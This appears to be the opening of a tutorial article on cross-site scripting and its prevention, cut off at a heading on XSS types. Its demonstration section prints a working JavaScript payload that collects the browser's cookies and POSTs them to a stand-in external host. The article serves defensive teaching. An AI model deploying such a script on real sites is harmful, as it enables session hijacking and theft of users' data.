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Protection Against Cross-Site Scripting Attacks

Protection Against Cross-Site Scripting Attacks

Learn about cross-site scripting attacks and how to prevent them.

Introduction

Cross-site scripting (XSS) refers to a kind of vulnerability in web applications that enables attackers to insert scripts into web pages that other users subsequently view. These scripts can then be executed on the victim’s browser, potentially leading to information theft, session hijacking, or other malicious activities.

In XSS, an assailant essentially injects code into a web application by exploiting vulnerabilities in its design. For instance, if our website fails to sanitize user input before storing it in the database, it becomes susceptible to allowing comments on posts, without encoding or validation, before displaying them to users.

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Demonstration of an XSS attack
Demonstration of an XSS attack

Users enter JavaScript in the comment box. The script that accesses the browser’s cookies transmits to some external server. The snippet of code below illustrates an example of a cookie-hijacking script.

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function fetchBrowserCookies() {
var cookies = document.cookie.split(';');
var cookieObj = {};
for (var i = 0; i < cookies.length; i++) {
var cookie = cookies[i].trim();
var parts = cookie.split('=');
cookieObj[parts[0]] = parts[1];
}
return cookieObj;
}
function transmitCookiesToExternalBrowser(cookieObj) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://vulenerable-external-site.com/receive-cookies');
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify(cookieObj));
}
var cookieObj = fetchBrowserCookies();
transmitCookiesToExternalBrowser(cookieObj);

Types of XSS attacks

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